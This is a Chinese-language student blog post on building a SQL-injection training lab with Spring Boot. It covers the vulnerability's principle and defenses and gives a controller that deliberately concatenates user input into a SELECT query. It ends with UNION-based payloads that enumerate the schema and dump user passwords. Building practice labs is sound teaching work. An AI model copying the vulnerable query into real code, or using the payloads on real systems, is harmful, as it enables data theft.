前言:
在项目实训的前面的几天时间里,我的主要工作是学习了 docker 的安装与使用,学会使用命令行控制 docker 容器的创建、删除等。然后学习了 springboot 框架的基本使用、了解其框架基本原理与运行机制。实现了使用 springboot 连接远程服务器上 docker 服务,实现容器的动态创建与删除。接下来的任务就是进行漏洞的代码编写,我主要是编写后端代码,前端由组内其他成员完成,所以在编写具体到某个漏洞的实现时,前端的代码我将简单的编写一下,实现相应功能即可,不需考虑布局与美观等。 首先编写较为常见,并且适合作为新手入门的 SQL 注入漏洞。
一、SQL 注入漏洞简介
想要复现搭建一个具有 SQL 注入漏洞的靶场环境,就不得不学习了解一下 SQL 注入漏洞的原理、危害、利用方式以及如何修复防御。
1、简介
恶意攻击者将数据包中输入的参数拼接成 SQL 语句传递给 Web 服务器,由于 Web 服务器的开发人员对数据的合法性没有判断或过滤不严,进而传递给数据库服务器,从而导致拼接的恶意 SQL 命令被执行,发起 SQL 注入攻击。 属于服务器对用户输入数据过滤不严格甚至没有进行任何检查过滤导致的漏洞产生。 根据服务器后端程序员编写的代码不同,SQL 注入可分为一下几种类型:
2、危害
SQL 注入漏洞主要与数据库打交道,所以造成的危害大部分是数据库相关,但是在一定条件下也可能会造成其它更为严重的危害。简单来说,可能造成的危害有以下几点:
- 拖库:比较常见的危害,恶意攻击者可以拿走已入侵的系统中数据库里面的敏感数据,造成信息泄露。
- 提权拿 shell:获得数据库内容后,进一步通过远程代码执行,操纵对方操作系统,持续监听、控制。
- 网站挂马、网页篡改、广告位传播:通过向已经入侵的数据库系统写入相关文件,实现网站挂马等恶意行为。
3、利用
根据 SQL 注入漏洞的产生原理,利用 SQL 注入漏洞实现信息的窃取、数据库系统的入侵、进一步提权哪 shell 等操作,需要针对特定的 SQL 注入类型来合理的构造 payload。 一般来说,发现到利用一个 SQL 注入漏洞可以分为一下几步:
- 查找可能的注入点(输入框?url 中 xx=?等等)
- 测试 SQL 注入类型(数字型?字符型?单引号还是双引号?有无括号?)
- 判断是否有过滤机制
- 考虑如何绕过
- 爆库名
- 爆表名
- 爆字段
- 拖库
4、防范
- 代码层面
1、 转义用户输入的内容(例如使用 PHP 中函数:mysql_real_escape() 函数等); 2、限制用户在前端输入的内容长度(需要在后端进行限制) 3、使用SQL语句预处理(对SQL语句首先进行预编译,参数绑定,最后传参)
- 网络层面
1、部署防火墙 2、部署相关安全软件(例如:安全狗、火绒等)
- 其它层面
1、定期网站安全渗透测试 2、定期扫描 3、数据库加密
二、相关配置
因为 SQL 注入漏洞复现不能缺少数据库的相关操作,所以需要对项目进行数据库相关配置,编写文件 application.properties
spring.datasource.url = jdbc:mysql://127.0.0.1:3306/pikachu?useUnicode=true&characterEncoding=utf-8&serverTimezone=GMT%2B8
spring.datasource.username = root
spring.datasource.password = root
spring.datasource.driverClassName = com.mysql.jdbc.Driver
spring.thymeleaf.prefix = classpath:/templates/
编写 pom.xml,导入相关依赖
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.4</version>
<relativePath/>
</parent>
<groupId>com.example</groupId>
<artifactId>sqli</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>sqli</name>
<description>sqli</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-jdbc</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-jdbc</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
三、编写“SQL 注入漏洞-数字型注入”后端代码
1、使用 springboot 框架创建项目
这一部分与前面的创建项目过程相同,使用 springboot 框架,java 8 选择 spring web 一个新的项目创建完毕。
2、编写 indexController
indexController 用于接受浏览器请求,根据请求地址进一步匹配到正确的网站页面。 两个请求,一个是请求主界面,匹配到 index.html;另一个是请求 SQL 注入的数字型注入靶场环境,匹配到 sqli_num.html 。 代码:
package com.example.sqli.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
@Controller
public class indexController {
@RequestMapping(value={"/","/index.html"})
public String index(){
return "index";
}
@RequestMapping(value={"sqli_num"})
public String sqli_num_index(){
return "sqli_num";
}
}
3、编写 sqli - 数字型 select
这部分代码是实现 SQL 注入的核心代码,通过复现一个带有 SQL 注入漏洞的环境,达到可以利用其进行练习的目的。 主要思路就是一个 select 查询语句,但是不要做任何预编译以及预处理等操作,直接将从前端接收到的用户输入的数据拼接到 SQL 语句中,实现 SQL 注入漏洞。
package com.example.sqli.controller;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import javax.sql.DataSource;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
@Controller
@RequestMapping("/sqli/")
public class sqli {
@Autowired
DataSource dataSource;
public String sql;
@RequestMapping("num")
public String sqli_num(@RequestParam(value = "id",required = false) String id, Model model) throws SQLException {
System.out.println(dataSource.getClass());
Connection connection = dataSource.getConnection();
System.out.println(connection);
Statement stmt = connection.createStatement();
sql="select * from users where id = "+id;
ResultSet rs = stmt.executeQuery(sql);
while (rs.next()) {
Object value = rs.getObject("username");
System.out.println(value);
model.addAttribute("id",value);
}
rs.close();
connection.close();
System.out.println("model:"+model);
return "sqli_num";
}
}
三、编写“SQL 注入漏洞-数字型注入”前端代码
index.html :主界面、索引界面
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>SQL注入</title>
</head>
<body>
<input type="button" value="数字型有回显注入"
onclick="javascrtpt:window.location.href='http://localhost:8080/sqli_num'" />
</body>
</html>
sqli_num.html :数字型有回显注入前端简易界面
<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8">
<title>数字型有回显注入</title>
<script src="../static/js/jquery-1.4.4.min.js"></script>
</head>
<body>
<form action="http://localhost:8080/sqli/num" method="get">
请输入学号ID: <input type="text" name="id" />
<input type="submit" value="查找" />
</form>
<p id="demo">我的第一个段落</p>
<script th:inline="javascript" >
const v = [[${id}]];
sessionStorage.setItem("id",v);
const loginName = sessionStorage.getItem("id");
<span id="test" className="x-red"></span>
test.innerHTML=loginName;
</script>
</body>
</html>
四、运行测试
-
启动项目 -
访问 localhost:8080/ -
测试数字型注入 payload:1 回显: payload:-1 or 1=1 -- 回显: payload :-1 or 1=1 order by 2 -- 回显: payload :-1 or 1=1 order by 1 -- 回显: 证明仅查询一个字段内容
payload :-1 UNION SELECT DATABASE()-- 回显: 得到数据库名为 pikachu
payload :-1 UNION SELECT GROUP_CONCAT(table_name) FROM information_schema. TABLESWHERE table_schema='pikachu' -- 回显: 得到库内所有表名
payload :-1 UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users' AND table_schema='pikachu'-- 回显: 得到表内所有字段名
payload :-1 UNION SELECT passwordFROM users-- 回显: 得到数据库内所有用户账号密码
参考文章:
https://blog.csdn.net/Aaron_Miller/article/details/105733688 https://zhuanlan.zhihu.com/p/418299128 https://www.renrendoc.com/paper/138788911.html https://www.jianshu.com/p/89e6676b8e37 http://www.bubuko.com/infodetail-3578145.html https://www.pianshen.com/article/9491310812/
|